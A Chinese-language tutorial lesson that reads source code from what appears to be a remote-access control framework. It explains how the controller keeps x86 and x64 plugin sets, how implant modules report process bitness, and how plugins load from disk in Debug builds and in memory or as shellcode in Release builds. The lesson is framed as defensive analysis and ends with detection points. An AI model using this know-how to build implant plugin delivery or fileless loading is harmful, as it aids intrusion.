第 17 课:x86/x64 双产物与 DLL 使用
# 第 17 课:x86/x64 双产物与 DLL 使用
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、双架构产物和 DLL 使用方式理解。
本课只讲源码如何区分 x86/x64、如何选择插件产物、DLL 如何被使用,不提供未授权使用步骤。
第 16 课讲了 EXE/DLL 如何基于模板生成。本课继续讲两个问题:为什么同一功能要同时准备 x86 和 x64 产物,以及 DLL 在这套工程里如何被主控和插件加载链使用。
# 1. 本课学习目标
| 问题 | 本课回答 |
|---|---|
| 为什么要区分 x86/x64 | 进程位数、指针宽度、PE Machine、调用约定和依赖库不同 |
| 产物放在哪里 | Plugins\x86 与 Plugins\x64 |
| 主控如何选择 | 根据被控上报的位数和请求中的 bIsX64 |
| DLL 怎么用 | Debug 可 LoadLibrary,Release 常进入内存加载链 |
| WoW64 有什么误区 | 32 位进程在 64 位系统上不等于可以直接加载 64 位 DLL |
# 2. 双产物目录:同名能力要准备两套

主控初始化时会释放或读取两套插件数据。每个插件通常都有 x86 和 x64 版本。原因不是“文件名好看”,而是 Windows 进程加载 DLL 时要求架构匹配:32 位进程只能直接加载 32 位 DLL,64 位进程只能直接加载 64 位 DLL。
// 源码位置:主控\Quick\MainFrm.cpp:1538-1642
// 防御分析注释:
// 1. iswin64 为 true 时写入 Plugins\x64,否则写入 Plugins\x86。
// 2. FindResource / LoadResource / LockResource 说明插件数据来自主控资源。
// 3. m_PluginsDate_x86 / m_PluginsDate_x64 是主控运行期的两套插件索引。
// 4. MD5 被保存为 Version,后续用于版本协商。
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path,
TCHAR* lp_filename, int lpszType, TCHAR* lpresname,
bool bwrite, bool buildshellcode, char* param)
{
CString str = lp_path;
iswin64 ? str += _T("\\Plugins\\x64\\") : str += _T("\\Plugins\\x86\\");
str += lp_filename;
HRSRC hResource = FindResource(GetModuleHandle(NULL),
MAKEINTRESOURCE(lpszType), lpresname);
HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource);
char* pBuffer = (char*)LockResource(hg);
DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hResource);
p_PluginsInfo->filedate = (BYTE*)pBuffer;
p_PluginsInfo->filesize = dwSize;
string s_tmp = MD5((void*)pBuffer, dwSize).toString();
int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0);
MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);
iswin64
? m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo))
: m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
这里有一个常见误区:Plugins\x64 不是“64 位系统目录”,而是“64 位进程可加载的插件目录”。在 64 位 Windows 上运行 32 位进程时,仍然要使用 x86 插件。
# 3. 主控启动时如何建立两套索引
// 源码位置:主控\Quick\MainFrm.cpp:1624-1642
// 防御分析注释:
// 1. g_pluginsDatas_32 是 32 位插件资源数组。
// 2. g_pluginsDates_64 是 64 位插件资源数组,命名上和 32 位数组略不一致,阅读时不要混淆。
// 3. 两个循环分别调用 WriteResource(false/true),最终进入不同插件索引。
// 4. buildshellcode 为 true 的插件还会生成 _bin 形态,和第 14、18 课衔接。
void CMainFrame::WriteAndReadPlugins()
{
TCHAR szSelfPath[MAX_PATH];
::GetModuleFileName(NULL, szSelfPath, ARRAYSIZE(szSelfPath));
CString strPath = szSelfPath;
strPath = strPath.Mid(0, strPath.ReverseFind('\\'));
for (int i = 0; i < sizeof(g_pluginsDatas_32) / sizeof(PLUGINS); i++)
{
WriteResource(false, strPath.GetBuffer(),
g_pluginsDatas_32[i].DllPath,
g_pluginsDatas_32[i].RType,
_T("PLUGINS"),
true,
g_pluginsDatas_32[i].buildshellcode,
g_pluginsDatas_32[i].param);
}
for (int i = 0; i < sizeof(g_pluginsDates_64) / sizeof(PLUGINS); i++)
{
WriteResource(true, strPath.GetBuffer(),
g_pluginsDates_64[i].DllPath,
g_pluginsDates_64[i].RType,
_T("PLUGINS64"),
true,
g_pluginsDates_64[i].buildshellcode,
g_pluginsDates_64[i].param);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
这一节要和第 16 课连起来看:生成器读取的 上线模块.bin / 上线模块.dll 也来自这些释放后的模板目录;后续插件下发也依赖同一套 x86/x64 索引。
# 4. 第一条位数链:上线模块请求登录模块版本

上线模块连接主控后,先请求登录模块版本。这个请求很短,只有两个字节:第一个字节是 TOKEN_GETVERSION,第二个字节表示当前进程是不是 x64。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:245-254
// 防御分析注释:
// 1. TOKEN_GETVERSION 用于请求登录模块或插件版本。
// 2. Token[1] 在 x64 编译时写 1,在 x86 编译时写 0。
// 3. 这里反映的是“当前上线模块进程位数”,不能简单等同于操作系统位数。
// 4. 主控据此选择 m_PluginsDate_x64 或 m_PluginsDate_x86 中的登录模块版本。
BYTE Token[2] = { 0 };
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, sizeof(Token));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
主控侧收到后,会按第二个字节选择插件索引。
// 源码位置:主控\Quick\MainFrm.cpp:2343-2365
// 防御分析注释:
// 1. m_DeCompressionBuffer.GetBuffer(0)[1] 对应上线模块发来的 Token[1]。
// 2. 0 表示选择 m_PluginsDate_x86,非 0 表示选择 m_PluginsDate_x64。
// 3. 这里返回的是“登录模块.dll_bin”的版本,不直接返回完整插件数据。
// 4. 如果版本不同,后续会进入插件数据请求链。
void CMainFrame::OnOpenSendVersion(ClientContext* pContext)
{
PluginsDate* p_PluginsDate;
if (pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == 0)
p_PluginsDate = &(m_PluginsDate_x86);
else
p_PluginsDate = &(m_PluginsDate_x64);
PluginsDate::iterator it_PluginsDate =
p_PluginsDate->find(_T("登录模块.dll_bin"));
if (it_PluginsDate != p_PluginsDate->end())
{
BYTE* bPacket = new BYTE[101];
bPacket[0] = TOKEN_GETVERSION;
memcpy(bPacket + 1, it_PluginsDate->second->Version, 100);
g_pSocketBase->Send(pContext, bPacket, 101);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 5. 第二条位数链:登录模块请求具体插件
登录模块运行后,请求具体功能插件时使用 DllSendData。这时位数字段不再是 Token[1],而是结构体里的 bIsX64。
// 源码位置:主插件\登录模块\登录模块\LoginManager.h:58-67
// 防御分析注释:
// 1. szDllName 表示请求哪个插件。
// 2. bIsX64 是插件请求阶段的架构字段。
// 3. dllDataSize 和 szVersion 会在主控返回数据时被填充。
// 4. 这个结构体在网络上传输,企业侧可把它作为协议解析和检测建模对象。
struct DllSendData
{
SendTaskType sendTaskType;
TCHAR szDllName[255]; // 插件名,例如 登录模块.dll_bin 或某个功能 DLL。
BOOL bIsX64; // 当前请求方需要的插件架构。
int dllDataSize; // 主控返回插件数据时填写。
TCHAR szVersion[50]; // 插件版本,通常来自 MD5。
TCHAR szcommand[1000]; // 可选命令参数。
int i;
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:242-310
// 防御分析注释:
// 1. COMMAND_DLLMAIN 表示登录模块准备请求或加载某个插件。
// 2. pDllSendData 从网络包中解析出来,随后按当前编译架构补 bIsX64。
// 3. _WIN64 决定 bIsX64=1,否则 bIsX64=0。
// 4. 这一步会把“当前进程位数”传回主控,主控据此下发匹配插件。
case COMMAND_DLLMAIN:
{
DllSendData* pDllSendData = new DllSendData;
ZeroMemory(pDllSendData, sizeof(DllSendData));
::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));
LPBYTE lpBuffer = new BYTE[sizeof(DllSendData) + 1];
lpBuffer[0] = TOKEN_SENDLL;
#ifdef _WIN64
pDllSendData->bIsX64 = 1;
#else
pDllSendData->bIsX64 = 0;
#endif
::memcpy(lpBuffer + 1, pDllSendData, sizeof(DllSendData));
Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 6. 主控按 bIsX64 返回插件
// 源码位置:主控\Quick\MainFrm.cpp:2368-2440
// 防御分析注释:
// 1. pDllSendData->bIsX64 决定插件表。
// 2. TASK_MAIN 从主控内置插件索引 m_PluginsDate_x86/x64 取数据。
// 3. TASK_PLUG 从扩展插件视图 g_pCPlugView->m_PlugsDatex86/x64 取数据。
// 4. 返回包格式是 COMMAND_SENDLL + DllSendData + 插件字节。
void CMainFrame::OnOpenSendDll(ClientContext* pContext)
{
DllSendData* pDllSendData =
(DllSendData*)pContext->m_DeCompressionBuffer.GetBuffer(1);
CString strFileName = pDllSendData->szDllName;
switch (pDllSendData->sendTaskType)
{
case TASK_MAIN:
{
PluginsDate* p_PluginsDate;
if (pDllSendData->bIsX64)
p_PluginsDate = &(m_PluginsDate_x64);
else
p_PluginsDate = &(m_PluginsDate_x86);
PluginsDate::iterator it = p_PluginsDate->find(strFileName);
if (it != p_PluginsDate->end())
{
pDllSendData->dllDataSize = it->second->filesize;
memcpy(pDllSendData->szVersion, it->second->Version, 100);
// 后续发送 COMMAND_SENDLL + DllSendData + 插件数据。
}
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 7. DLL 的三种使用方式

| 场景 | 方式 | 说明 |
|---|---|---|
| 调试功能插件 | LoadLibrary + GetProcAddress | 方便开发者断点调试 |
| 发布加载插件 | MemoryLoadLibrary + MemoryGetProcAddress | 输入来自内存中的插件字节 |
| 生成 DLL 产物 | 导出 load / run 等函数 | 供外部加载者传入配置并启动 |
普通功能插件的加载逻辑在登录模块中。Debug 下为了方便断点调试,会走磁盘 DLL;Release 下通常走内存加载。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:20-44
// 防御分析注释:
// 1. DLL_MEMLOAD 表示普通内存加载插件。
// 2. _DEBUG 分支使用 LoadLibrary 加载本地 DLL,便于开发者调试。
// 3. Release 分支使用 MemoryLoadLibrary 加载内存中的插件字节,第 14 课已讲 PE 内存加载原理。
// 4. 两个分支最终都查找导出函数 Main,说明功能插件入口约定一致。
case DLL_MEMLOAD:
{
#ifdef _DEBUG
HMODULE hDllModule = ::LoadLibrary(pDllData->m_sendDllData->szDllName);
lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main");
#else
HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
pDllData->m_pDllData,
pDllData->m_sendDllData->dllDataSize);
lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
#endif
if (lpproc != NULL)
{
(*lpproc)(pDllData->m_strMasterHost,
pDllData->m_nMasterPort,
pDllData->m_bIsTcp,
false);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
登录模块本身还有一条特殊加载链,位于上线模块的 KernelManager.cpp。Debug 下把 登录模块.dll_bin 转成 登录模块.dll 后用 LoadLibrary;Release 下把内存里的 shellcode 入口当函数调用。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:61-95
// 防御分析注释:
// 1. 这里处理的是登录模块,不是普通功能插件。
// 2. Debug 分支把 xxx.dll_bin 改成 xxx.dll,再从磁盘加载。
// 3. Release 分支使用 shellcode 方式调用内存中的登录模块数据。
// 4. 防御侧要同时关注磁盘加载和内存执行两条路径。
#ifdef _DEBUG
wchar_t szLocalDllName[MAX_PATH] = { 0 };
wcscpy_s(szLocalDllName, ARRAYSIZE(szLocalDllName), g_dllSendData.DllName);
::PathRemoveExtension(szLocalDllName);
wcscat_s(szLocalDllName, ARRAYSIZE(szLocalDllName), L".dll");
HMODULE hDllModule = ::LoadLibrary(szLocalDllName);
FARPROC runFunc = ::GetProcAddress(hDllModule, "run");
if (runFunc != NULL)
runFunc();
#else
load lpproc = ((load(*)())g_loginDllData)();
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 8. x86 / x64 差异对照
| 维度 | x86 | x64 | 对阅读源码的影响 |
|---|---|---|---|
| 指针宽度 | 4 字节 | 8 字节 | 结构体大小、函数指针、PE 头字段都可能不同 |
| PE Machine | IMAGE_FILE_MACHINE_I386 | IMAGE_FILE_MACHINE_AMD64 | 架构不匹配时 DLL 无法直接加载 |
| 插件目录 | Plugins\x86 | Plugins\x64 | 主控根据位数字段选择插件表 |
| 版本请求字段 | Token[1] = 0 | Token[1] = 1 | 上线模块请求登录模块版本时使用 |
| 插件请求字段 | bIsX64 = 0 | bIsX64 = 1 | 登录模块请求功能插件时使用 |
| 调试现象 | 32 位进程路径可能带 WoW64 重定向 | 64 位进程访问原生系统目录 | 不能只按系统目录判断进程架构 |
# 9. WoW64 场景下容易误判的地方
| 误判 | 正确理解 |
|---|---|
| 64 位系统上一定加载 x64 插件 | 要看当前被控进程位数,不只看系统位数 |
| x86 进程可以直接加载 x64 DLL | 不能直接加载,PE Machine 不匹配 |
| 文件名一样就是同一插件 | 还要看架构、版本、哈希 |
LoadLibrary 看不到就没有 DLL | Release 可能走内存加载路径 |
只看 Token[1] 就够了 | 版本请求看 Token[1],具体插件请求还要看 DllSendData.bIsX64 |
# 10. 企业检测点
| 层面 | 检测点 | 说明 |
|---|---|---|
| 文件 | Plugins\x86、Plugins\x64 | 插件资源释放和版本缓存 |
| 协议 | TOKEN_GETVERSION、Token[1]、DllSendData.bIsX64 | 架构协商字段 |
| 内存 | MemoryLoadLibrary | 发布模式下的插件加载路径 |
| 调试 | LoadLibrary 本地 DLL | Debug 分支的可见模块加载 |
| 构建 | x86/x64 输出产物 | 哈希、签名、编译配置要入库 |
# 11. 合法练习题
- 只阅读源码,画出“被控上报位数 -> 主控选择插件表 -> 返回插件数据”的流程。
- 解释为什么 32 位进程不能直接加载 64 位 DLL。
- 设计一个插件版本台账字段表,包含插件名、架构、版本、哈希、签名和来源。
- 对比
Token[1]和DllSendData.bIsX64,说明它们分别出现在什么请求阶段。
# 12. 本课小结
本课讲清楚了双产物和 DLL 使用方式:主控维护 x86/x64 两套插件,被控通过 TOKEN_GETVERSION 的第二字节和 DllSendData.bIsX64 告知当前进程位数,主控返回匹配架构的插件。DLL 在调试、发布和生成场景下有不同加载方式,其中发布模式下的内存加载细节已经在第 14 课单独展开。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言